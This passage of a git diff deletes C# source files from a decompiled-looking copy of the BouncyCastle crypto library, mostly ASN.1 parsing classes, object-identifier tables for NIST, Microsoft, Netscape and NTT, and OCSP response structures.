b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/Restriction.cs deleted file mode 100644 index 6b39163..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/Restriction.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X500; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.IsisMtt.X509; - -public class Restriction : Asn1Encodable -{ - private readonly DirectoryString restriction; - - public virtual DirectoryString RestrictionString => restriction; - - public static Restriction GetInstance(object obj) - { - if (obj is Restriction) - { - return (Restriction)obj; - } - if (obj is IAsn1String) - { - return new Restriction(DirectoryString.GetInstance(obj)); - } - throw new ArgumentException("Unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); - } - - private Restriction(DirectoryString restriction) - { - this.restriction = restriction; - } - - public Restriction(string restriction) - { - this.restriction = new DirectoryString(restriction); - } - - public override Asn1Object ToAsn1Object() - { - return restriction.ToAsn1Object(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Kisa/KisaObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Kisa/KisaObjectIdentifiers.cs deleted file mode 100644 index c9afe2c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Kisa/KisaObjectIdentifiers.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Kisa; - -public abstract class KisaObjectIdentifiers -{ - public static readonly DerObjectIdentifier IdSeedCbc = new DerObjectIdentifier("1.2.410.200004.1.4"); - - public static readonly DerObjectIdentifier IdNpkiAppCmsSeedWrap = new DerObjectIdentifier("1.2.410.200004.7.1.1.1"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/LazyAsn1InputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/LazyAsn1InputStream.cs deleted file mode 100644 index 52ae229..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/LazyAsn1InputStream.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Asn1; - -public class LazyAsn1InputStream : Asn1InputStream -{ - public LazyAsn1InputStream(byte[] input) - : base(input) - { - } - - public LazyAsn1InputStream(Stream inputStream) - : base(inputStream) - { - } - - internal override DerSequence CreateDerSequence(DefiniteLengthInputStream dIn) - { - return new LazyDerSequence(dIn.ToArray()); - } - - internal override DerSet CreateDerSet(DefiniteLengthInputStream dIn) - { - return new LazyDerSet(dIn.ToArray()); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/LazyDerSequence.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/LazyDerSequence.cs deleted file mode 100644 index 58ff7cc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/LazyDerSequence.cs +++ /dev/null @@ -1,69 +0,0 @@ -using System.Collections; - -namespace Org.BouncyCastle.Asn1; - -internal class LazyDerSequence : DerSequence -{ - private byte[] encoded; - - public override Asn1Encodable this[int index] - { - get - { - Parse(); - return base[index]; - } - } - - public override int Count - { - get - { - Parse(); - return base.Count; - } - } - - internal LazyDerSequence(byte[] encoded) - { - this.encoded = encoded; - } - - private void Parse() - { - lock (this) - { - if (encoded != null) - { - Asn1InputStream asn1InputStream = new LazyAsn1InputStream(encoded); - Asn1Object obj; - while ((obj = asn1InputStream.ReadObject()) != null) - { - AddObject(obj); - } - encoded = null; - } - } - } - - public override IEnumerator GetEnumerator() - { - Parse(); - return base.GetEnumerator(); - } - - internal override void Encode(DerOutputStream derOut) - { - lock (this) - { - if (encoded == null) - { - base.Encode(derOut); - } - else - { - derOut.WriteEncoded(48, encoded); - } - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/LazyDerSet.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/LazyDerSet.cs deleted file mode 100644 index ba20c5d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/LazyDerSet.cs +++ /dev/null @@ -1,69 +0,0 @@ -using System.Collections; - -namespace Org.BouncyCastle.Asn1; - -internal class LazyDerSet : DerSet -{ - private byte[] encoded; - - public override Asn1Encodable this[int index] - { - get - { - Parse(); - return base[index]; - } - } - - public override int Count - { - get - { - Parse(); - return base.Count; - } - } - - internal LazyDerSet(byte[] encoded) - { - this.encoded = encoded; - } - - private void Parse() - { - lock (this) - { - if (encoded != null) - { - Asn1InputStream asn1InputStream = new LazyAsn1InputStream(encoded); - Asn1Object obj; - while ((obj = asn1InputStream.ReadObject()) != null) - { - AddObject(obj); - } - encoded = null; - } - } - } - - public override IEnumerator GetEnumerator() - { - Parse(); - return base.GetEnumerator(); - } - - internal override void Encode(DerOutputStream derOut) - { - lock (this) - { - if (encoded == null) - { - base.Encode(derOut); - } - else - { - derOut.WriteEncoded(49, encoded); - } - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/LimitedInputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/LimitedInputStream.cs deleted file mode 100644 index 7e4ba2b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/LimitedInputStream.cs +++ /dev/null @@ -1,30 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Asn1; - -internal abstract class LimitedInputStream : BaseInputStream -{ - protected readonly Stream _in; - - private int _limit; - - internal LimitedInputStream(Stream inStream, int limit) - { - _in = inStream; - _limit = limit; - } - - internal virtual int GetRemaining() - { - return _limit; - } - - protected virtual void SetParentEofDetect(bool on) - { - if (_in is IndefiniteLengthInputStream) - { - ((IndefiniteLengthInputStream)_in).SetEofOn00(on); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Microsoft/MicrosoftObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Microsoft/MicrosoftObjectIdentifiers.cs deleted file mode 100644 index 75fbd2b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Microsoft/MicrosoftObjectIdentifiers.cs +++ /dev/null @@ -1,18 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Microsoft; - -public abstract class MicrosoftObjectIdentifiers -{ - public static readonly DerObjectIdentifier Microsoft = new DerObjectIdentifier("1.3.6.1.4.1.311"); - - public static readonly DerObjectIdentifier MicrosoftCertTemplateV1 = Microsoft.Branch("20.2"); - - public static readonly DerObjectIdentifier MicrosoftCAVersion = Microsoft.Branch("21.1"); - - public static readonly DerObjectIdentifier MicrosoftPrevCACertHash = Microsoft.Branch("21.2"); - - public static readonly DerObjectIdentifier MicrosoftCrlNextPublish = Microsoft.Branch("21.4"); - - public static readonly DerObjectIdentifier MicrosoftCertTemplateV2 = Microsoft.Branch("21.7"); - - public static readonly DerObjectIdentifier MicrosoftAppPolicies = Microsoft.Branch("21.10"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Misc/Cast5CbcParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Misc/Cast5CbcParameters.cs deleted file mode 100644 index fde3578..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Misc/Cast5CbcParameters.cs +++ /dev/null @@ -1,52 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Misc; - -public class Cast5CbcParameters : Asn1Encodable -{ - private readonly DerInteger keyLength; - - private readonly Asn1OctetString iv; - - public int KeyLength => keyLength.Value.IntValue; - - public static Cast5CbcParameters GetInstance(object o) - { - if (o is Cast5CbcParameters) - { - return (Cast5CbcParameters)o; - } - if (o is Asn1Sequence) - { - return new Cast5CbcParameters((Asn1Sequence)o); - } - throw new ArgumentException("unknown object in Cast5CbcParameters factory"); - } - - public Cast5CbcParameters(byte[] iv, int keyLength) - { - this.iv = new DerOctetString(iv); - this.keyLength = new DerInteger(keyLength); - } - - private Cast5CbcParameters(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Wrong number of elements in sequence", "seq"); - } - iv = (Asn1OctetString)seq[0]; - keyLength = (DerInteger)seq[1]; - } - - public byte[] GetIV() - { - return Arrays.Clone(iv.GetOctets()); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(iv, keyLength); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Misc/IdeaCbcPar.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Misc/IdeaCbcPar.cs deleted file mode 100644 index 340f0ea..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Misc/IdeaCbcPar.cs +++ /dev/null @@ -1,53 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.Misc; - -public class IdeaCbcPar : Asn1Encodable -{ - internal Asn1OctetString iv; - - public static IdeaCbcPar GetInstance(object o) - { - if (o is IdeaCbcPar) - { - return (IdeaCbcPar)o; - } - if (o is Asn1Sequence) - { - return new IdeaCbcPar((Asn1Sequence)o); - } - throw new ArgumentException("unknown object in IDEACBCPar factory"); - } - - public IdeaCbcPar(byte[] iv) - { - this.iv = new DerOctetString(iv); - } - - private IdeaCbcPar(Asn1Sequence seq) - { - if (seq.Count == 1) - { - iv = (Asn1OctetString)seq[0]; - } - } - - public byte[] GetIV() - { - if (iv != null) - { - return iv.GetOctets(); - } - return null; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (iv != null) - { - asn1EncodableVector.Add(iv); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Misc/MiscObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Misc/MiscObjectIdentifiers.cs deleted file mode 100644 index c8de5d1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Misc/MiscObjectIdentifiers.cs +++ /dev/null @@ -1,80 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Misc; - -public abstract class MiscObjectIdentifiers -{ - public static readonly DerObjectIdentifier Netscape = new DerObjectIdentifier("2.16.840.1.113730.1"); - - public static readonly DerObjectIdentifier NetscapeCertType = Netscape.Branch("1"); - - public static readonly DerObjectIdentifier NetscapeBaseUrl = Netscape.Branch("2"); - - public static readonly DerObjectIdentifier NetscapeRevocationUrl = Netscape.Branch("3"); - - public static readonly DerObjectIdentifier NetscapeCARevocationUrl = Netscape.Branch("4"); - - public static readonly DerObjectIdentifier NetscapeRenewalUrl = Netscape.Branch("7"); - - public static readonly DerObjectIdentifier NetscapeCAPolicyUrl = Netscape.Branch("8"); - - public static readonly DerObjectIdentifier NetscapeSslServerName = Netscape.Branch("12"); - - public static readonly DerObjectIdentifier NetscapeCertComment = Netscape.Branch("13"); - - public static readonly DerObjectIdentifier Verisign = new DerObjectIdentifier("2.16.840.1.113733.1"); - - public static readonly DerObjectIdentifier VerisignCzagExtension = Verisign.Branch("6.3"); - - public static readonly DerObjectIdentifier VerisignPrivate_6_9 = Verisign.Branch("6.9"); - - public static readonly DerObjectIdentifier VerisignOnSiteJurisdictionHash = Verisign.Branch("6.11"); - - public static readonly DerObjectIdentifier VerisignBitString_6_13 = Verisign.Branch("6.13"); - - public static readonly DerObjectIdentifier VerisignDnbDunsNumber = Verisign.Branch("6.15"); - - public static readonly DerObjectIdentifier VerisignIssStrongCrypto = Verisign.Branch("8.1"); - - public static readonly string Novell = "2.16.840.1.113719"; - - public static readonly DerObjectIdentifier NovellSecurityAttribs = new DerObjectIdentifier(Novell + ".1.9.4.1"); - - public static readonly string Entrust = "1.2.840.113533.7"; - - public static readonly DerObjectIdentifier EntrustVersionExtension = new DerObjectIdentifier(Entrust + ".65.0"); - - public static readonly DerObjectIdentifier cast5CBC = new DerObjectIdentifier(Entrust + ".66.10"); - - public static readonly DerObjectIdentifier as_sys_sec_alg_ideaCBC = new DerObjectIdentifier("1.3.6.1.4.1.188.7.1.1.2"); - - public static readonly DerObjectIdentifier cryptlib = new DerObjectIdentifier("1.3.6.1.4.1.3029"); - - public static readonly DerObjectIdentifier cryptlib_algorithm = cryptlib.Branch("1"); - - public static readonly DerObjectIdentifier cryptlib_algorithm_blowfish_ECB = cryptlib_algorithm.Branch("1.1"); - - public static readonly DerObjectIdentifier cryptlib_algorithm_blowfish_CBC = cryptlib_algorithm.Branch("1.2"); - - public static readonly DerObjectIdentifier cryptlib_algorithm_blowfish_CFB = cryptlib_algorithm.Branch("1.3"); - - public static readonly DerObjectIdentifier cryptlib_algorithm_blowfish_OFB = cryptlib_algorithm.Branch("1.4"); - - public static readonly DerObjectIdentifier blake2 = new DerObjectIdentifier("1.3.6.1.4.1.1722.12.2"); - - public static readonly DerObjectIdentifier id_blake2b160 = blake2.Branch("1.5"); - - public static readonly DerObjectIdentifier id_blake2b256 = blake2.Branch("1.8"); - - public static readonly DerObjectIdentifier id_blake2b384 = blake2.Branch("1.12"); - - public static readonly DerObjectIdentifier id_blake2b512 = blake2.Branch("1.16"); - - public static readonly DerObjectIdentifier id_blake2s128 = blake2.Branch("2.4"); - - public static readonly DerObjectIdentifier id_blake2s160 = blake2.Branch("2.5"); - - public static readonly DerObjectIdentifier id_blake2s224 = blake2.Branch("2.7"); - - public static readonly DerObjectIdentifier id_blake2s256 = blake2.Branch("2.8"); - - public static readonly DerObjectIdentifier id_scrypt = new DerObjectIdentifier("1.3.6.1.4.1.11591.4.11"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Misc/NetscapeCertType.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Misc/NetscapeCertType.cs deleted file mode 100644 index a597524..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Misc/NetscapeCertType.cs +++ /dev/null @@ -1,36 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Misc; - -public class NetscapeCertType : DerBitString -{ - public const int SslClient = 128; - - public const int SslServer = 64; - - public const int Smime = 32; - - public const int ObjectSigning = 16; - - public const int Reserved = 8; - - public const int SslCA = 4; - - public const int SmimeCA = 2; - - public const int ObjectSigningCA = 1; - - public NetscapeCertType(int usage) - : base(usage) - { - } - - public NetscapeCertType(DerBitString usage) - : base(usage.GetBytes(), usage.PadBits) - { - } - - public override string ToString() - { - byte[] bytes = GetBytes(); - return "NetscapeCertType: 0x" + (bytes[0] & 0xFF).ToString("X"); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Misc/NetscapeRevocationUrl.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Misc/NetscapeRevocationUrl.cs deleted file mode 100644 index 2324e34..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Misc/NetscapeRevocationUrl.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Misc; - -public class NetscapeRevocationUrl : DerIA5String -{ - public NetscapeRevocationUrl(DerIA5String str) - : base(str.GetString()) - { - } - - public override string ToString() - { - return "NetscapeRevocationUrl: " + GetString(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Misc/VerisignCzagExtension.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Misc/VerisignCzagExtension.cs deleted file mode 100644 index 6f1f73d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Misc/VerisignCzagExtension.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Misc; - -public class VerisignCzagExtension : DerIA5String -{ - public VerisignCzagExtension(DerIA5String str) - : base(str.GetString()) - { - } - - public override string ToString() - { - return "VerisignCzagExtension: " + GetString(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Mozilla/PublicKeyAndChallenge.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Mozilla/PublicKeyAndChallenge.cs deleted file mode 100644 index f333506..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Mozilla/PublicKeyAndChallenge.cs +++ /dev/null @@ -1,43 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Mozilla; - -public class PublicKeyAndChallenge : Asn1Encodable -{ - private Asn1Sequence pkacSeq; - - private SubjectPublicKeyInfo spki; - - private DerIA5String challenge; - - public SubjectPublicKeyInfo SubjectPublicKeyInfo => spki; - - public DerIA5String Challenge => challenge; - - public static PublicKeyAndChallenge GetInstance(object obj) - { - if (obj is PublicKeyAndChallenge) - { - return (PublicKeyAndChallenge)obj; - } - if (obj is Asn1Sequence) - { - return new PublicKeyAndChallenge((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in 'PublicKeyAndChallenge' factory : " + Platform.GetTypeName(obj) + "."); - } - - public PublicKeyAndChallenge(Asn1Sequence seq) - { - pkacSeq = seq; - spki = SubjectPublicKeyInfo.GetInstance(seq[0]); - challenge = DerIA5String.GetInstance(seq[1]); - } - - public override Asn1Object ToAsn1Object() - { - return pkacSeq; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Nist/NistNamedCurves.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Nist/NistNamedCurves.cs deleted file mode 100644 index 0a61740..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Nist/NistNamedCurves.cs +++ /dev/null @@ -1,72 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1.Sec; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Asn1.Nist; - -public sealed class NistNamedCurves -{ - private static readonly IDictionary objIds; - - private static readonly IDictionary names; - - public static IEnumerable Names => new EnumerableProxy(names.Values); - - private NistNamedCurves() - { - } - - private static void DefineCurveAlias(string name, DerObjectIdentifier oid) - { - objIds.Add(Platform.ToUpperInvariant(name), oid); - names.Add(oid, name); - } - - static NistNamedCurves() - { - objIds = Platform.CreateHashtable(); - names = Platform.CreateHashtable(); - DefineCurveAlias("B-163", SecObjectIdentifiers.SecT163r2); - DefineCurveAlias("B-233", SecObjectIdentifiers.SecT233r1); - DefineCurveAlias("B-283", SecObjectIdentifiers.SecT283r1); - DefineCurveAlias("B-409", SecObjectIdentifiers.SecT409r1); - DefineCurveAlias("B-571", SecObjectIdentifiers.SecT571r1); - DefineCurveAlias("K-163", SecObjectIdentifiers.SecT163k1); - DefineCurveAlias("K-233", SecObjectIdentifiers.SecT233k1); - DefineCurveAlias("K-283", SecObjectIdentifiers.SecT283k1); - DefineCurveAlias("K-409", SecObjectIdentifiers.SecT409k1); - DefineCurveAlias("K-571", SecObjectIdentifiers.SecT571k1); - DefineCurveAlias("P-192", SecObjectIdentifiers.SecP192r1); - DefineCurveAlias("P-224", SecObjectIdentifiers.SecP224r1); - DefineCurveAlias("P-256", SecObjectIdentifiers.SecP256r1); - DefineCurveAlias("P-384", SecObjectIdentifiers.SecP384r1); - DefineCurveAlias("P-521", SecObjectIdentifiers.SecP521r1); - } - - public static X9ECParameters GetByName(string name) - { - DerObjectIdentifier oid = GetOid(name); - if (oid != null) - { - return GetByOid(oid); - } - return null; - } - - public static X9ECParameters GetByOid(DerObjectIdentifier oid) - { - return SecNamedCurves.GetByOid(oid); - } - - public static DerObjectIdentifier GetOid(string name) - { - return (DerObjectIdentifier)objIds[Platform.ToUpperInvariant(name)]; - } - - public static string GetName(DerObjectIdentifier oid) - { - return (string)names[oid]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Nist/NistObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Nist/NistObjectIdentifiers.cs deleted file mode 100644 index 42c9dd2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Nist/NistObjectIdentifiers.cs +++ /dev/null @@ -1,122 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Nist; - -public sealed class NistObjectIdentifiers -{ - public static readonly DerObjectIdentifier NistAlgorithm = new DerObjectIdentifier("2.16.840.1.101.3.4"); - - public static readonly DerObjectIdentifier HashAlgs = NistAlgorithm.Branch("2"); - - public static readonly DerObjectIdentifier IdSha256 = HashAlgs.Branch("1"); - - public static readonly DerObjectIdentifier IdSha384 = HashAlgs.Branch("2"); - - public static readonly DerObjectIdentifier IdSha512 = HashAlgs.Branch("3"); - - public static readonly DerObjectIdentifier IdSha224 = HashAlgs.Branch("4"); - - public static readonly DerObjectIdentifier IdSha512_224 = HashAlgs.Branch("5"); - - public static readonly DerObjectIdentifier IdSha512_256 = HashAlgs.Branch("6"); - - public static readonly DerObjectIdentifier IdSha3_224 = HashAlgs.Branch("7"); - - public static readonly DerObjectIdentifier IdSha3_256 = HashAlgs.Branch("8"); - - public static readonly DerObjectIdentifier IdSha3_384 = HashAlgs.Branch("9"); - - public static readonly DerObjectIdentifier IdSha3_512 = HashAlgs.Branch("10"); - - public static readonly DerObjectIdentifier IdShake128 = HashAlgs.Branch("11"); - - public static readonly DerObjectIdentifier IdShake256 = HashAlgs.Branch("12"); - - public static readonly DerObjectIdentifier IdHMacWithSha3_224 = HashAlgs.Branch("13"); - - public static readonly DerObjectIdentifier IdHMacWithSha3_256 = HashAlgs.Branch("14"); - - public static readonly DerObjectIdentifier IdHMacWithSha3_384 = HashAlgs.Branch("15"); - - public static readonly DerObjectIdentifier IdHMacWithSha3_512 = HashAlgs.Branch("16"); - - public static readonly DerObjectIdentifier Aes = new DerObjectIdentifier(string.Concat(NistAlgorithm, ".1")); - - public static readonly DerObjectIdentifier IdAes128Ecb = new DerObjectIdentifier(string.Concat(Aes, ".1")); - - public static readonly DerObjectIdentifier IdAes128Cbc = new DerObjectIdentifier(string.Concat(Aes, ".2")); - - public static readonly DerObjectIdentifier IdAes128Ofb = new DerObjectIdentifier(string.Concat(Aes, ".3")); - - public static readonly DerObjectIdentifier IdAes128Cfb = new DerObjectIdentifier(string.Concat(Aes, ".4")); - - public static readonly DerObjectIdentifier IdAes128Wrap = new DerObjectIdentifier(string.Concat(Aes, ".5")); - - public static readonly DerObjectIdentifier IdAes128Gcm = new DerObjectIdentifier(string.Concat(Aes, ".6")); - - public static readonly DerObjectIdentifier IdAes128Ccm = new DerObjectIdentifier(string.Concat(Aes, ".7")); - - public static readonly DerObjectIdentifier IdAes192Ecb = new DerObjectIdentifier(string.Concat(Aes, ".21")); - - public static readonly DerObjectIdentifier IdAes192Cbc = new DerObjectIdentifier(string.Concat(Aes, ".22")); - - public static readonly DerObjectIdentifier IdAes192Ofb = new DerObjectIdentifier(string.Concat(Aes, ".23")); - - public static readonly DerObjectIdentifier IdAes192Cfb = new DerObjectIdentifier(string.Concat(Aes, ".24")); - - public static readonly DerObjectIdentifier IdAes192Wrap = new DerObjectIdentifier(string.Concat(Aes, ".25")); - - public static readonly DerObjectIdentifier IdAes192Gcm = new DerObjectIdentifier(string.Concat(Aes, ".26")); - - public static readonly DerObjectIdentifier IdAes192Ccm = new DerObjectIdentifier(string.Concat(Aes, ".27")); - - public static readonly DerObjectIdentifier IdAes256Ecb = new DerObjectIdentifier(string.Concat(Aes, ".41")); - - public static readonly DerObjectIdentifier IdAes256Cbc = new DerObjectIdentifier(string.Concat(Aes, ".42")); - - public static readonly DerObjectIdentifier IdAes256Ofb = new DerObjectIdentifier(string.Concat(Aes, ".43")); - - public static readonly DerObjectIdentifier IdAes256Cfb = new DerObjectIdentifier(string.Concat(Aes, ".44")); - - public static readonly DerObjectIdentifier IdAes256Wrap = new DerObjectIdentifier(string.Concat(Aes, ".45")); - - public static readonly DerObjectIdentifier IdAes256Gcm = new DerObjectIdentifier(string.Concat(Aes, ".46")); - - public static readonly DerObjectIdentifier IdAes256Ccm = new DerObjectIdentifier(string.Concat(Aes, ".47")); - - public static readonly DerObjectIdentifier IdDsaWithSha2 = new DerObjectIdentifier(string.Concat(NistAlgorithm, ".3")); - - public static readonly DerObjectIdentifier DsaWithSha224 = new DerObjectIdentifier(string.Concat(IdDsaWithSha2, ".1")); - - public static readonly DerObjectIdentifier DsaWithSha256 = new DerObjectIdentifier(string.Concat(IdDsaWithSha2, ".2")); - - public static readonly DerObjectIdentifier DsaWithSha384 = new DerObjectIdentifier(string.Concat(IdDsaWithSha2, ".3")); - - public static readonly DerObjectIdentifier DsaWithSha512 = new DerObjectIdentifier(string.Concat(IdDsaWithSha2, ".4")); - - public static readonly DerObjectIdentifier IdDsaWithSha3_224 = new DerObjectIdentifier(string.Concat(IdDsaWithSha2, ".5")); - - public static readonly DerObjectIdentifier IdDsaWithSha3_256 = new DerObjectIdentifier(string.Concat(IdDsaWithSha2, ".6")); - - public static readonly DerObjectIdentifier IdDsaWithSha3_384 = new DerObjectIdentifier(string.Concat(IdDsaWithSha2, ".7")); - - public static readonly DerObjectIdentifier IdDsaWithSha3_512 = new DerObjectIdentifier(string.Concat(IdDsaWithSha2, ".8")); - - public static readonly DerObjectIdentifier IdEcdsaWithSha3_224 = new DerObjectIdentifier(string.Concat(IdDsaWithSha2, ".9")); - - public static readonly DerObjectIdentifier IdEcdsaWithSha3_256 = new DerObjectIdentifier(string.Concat(IdDsaWithSha2, ".10")); - - public static readonly DerObjectIdentifier IdEcdsaWithSha3_384 = new DerObjectIdentifier(string.Concat(IdDsaWithSha2, ".11")); - - public static readonly DerObjectIdentifier IdEcdsaWithSha3_512 = new DerObjectIdentifier(string.Concat(IdDsaWithSha2, ".12")); - - public static readonly DerObjectIdentifier IdRsassaPkcs1V15WithSha3_224 = new DerObjectIdentifier(string.Concat(IdDsaWithSha2, ".13")); - - public static readonly DerObjectIdentifier IdRsassaPkcs1V15WithSha3_256 = new DerObjectIdentifier(string.Concat(IdDsaWithSha2, ".14")); - - public static readonly DerObjectIdentifier IdRsassaPkcs1V15WithSha3_384 = new DerObjectIdentifier(string.Concat(IdDsaWithSha2, ".15")); - - public static readonly DerObjectIdentifier IdRsassaPkcs1V15WithSha3_512 = new DerObjectIdentifier(string.Concat(IdDsaWithSha2, ".16")); - - private NistObjectIdentifiers() - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ntt/NttObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ntt/NttObjectIdentifiers.cs deleted file mode 100644 index ab95db8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ntt/NttObjectIdentifiers.cs +++ /dev/null @@ -1,16 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Ntt; - -public abstract class NttObjectIdentifiers -{ - public static readonly DerObjectIdentifier IdCamellia128Cbc = new DerObjectIdentifier("1.2.392.200011.61.1.1.1.2"); - - public static readonly DerObjectIdentifier IdCamellia192Cbc = new DerObjectIdentifier("1.2.392.200011.61.1.1.1.3"); - - public static readonly DerObjectIdentifier IdCamellia256Cbc = new DerObjectIdentifier("1.2.392.200011.61.1.1.1.4"); - - public static readonly DerObjectIdentifier IdCamellia128Wrap = new DerObjectIdentifier("1.2.392.200011.61.1.1.3.2"); - - public static readonly DerObjectIdentifier IdCamellia192Wrap = new DerObjectIdentifier("1.2.392.200011.61.1.1.3.3"); - - public static readonly DerObjectIdentifier IdCamellia256Wrap = new DerObjectIdentifier("1.2.392.200011.61.1.1.3.4"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/BasicOcspResponse.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/BasicOcspResponse.cs deleted file mode 100644 index 073a891..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/BasicOcspResponse.cs +++ /dev/null @@ -1,100 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ocsp; - -public class BasicOcspResponse : Asn1Encodable -{ - private readonly ResponseData tbsResponseData; - - private readonly AlgorithmIdentifier signatureAlgorithm; - - private readonly DerBitString signature; - - private readonly Asn1Sequence certs; - - public ResponseData TbsResponseData => tbsResponseData; - - public AlgorithmIdentifier SignatureAlgorithm => signatureAlgorithm; - - public DerBitString Signature => signature; - - public Asn1Sequence Certs => certs; - - public static BasicOcspResponse GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static BasicOcspResponse GetInstance(object obj) - { - if (obj == null || obj is BasicOcspResponse) - { - return (BasicOcspResponse)obj; - } - if (obj is Asn1Sequence) - { - return new BasicOcspResponse((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public BasicOcspResponse(ResponseData tbsResponseData, AlgorithmIdentifier signatureAlgorithm, DerBitString signature, 